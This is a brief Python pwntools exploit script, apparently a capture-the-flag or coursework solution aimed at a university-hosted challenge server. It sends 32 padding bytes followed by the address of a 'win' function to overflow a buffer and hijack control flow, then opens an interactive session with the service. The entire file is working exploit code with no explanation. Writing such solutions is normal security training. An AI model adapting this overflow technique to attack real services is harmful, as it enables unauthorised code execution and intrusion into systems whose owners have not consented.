from pwn import *

HOST = "mustard.stt.rnl.tecnico.ulisboa.pt"
PORT = 25153

WIN_ADDR = 0x080486f1

conn = remote(HOST, PORT)

conn.recvuntil("?\n")
conn.send(b"\x55"*32 + b"\xf1\x86\x04\x08\n")
conn.interactive()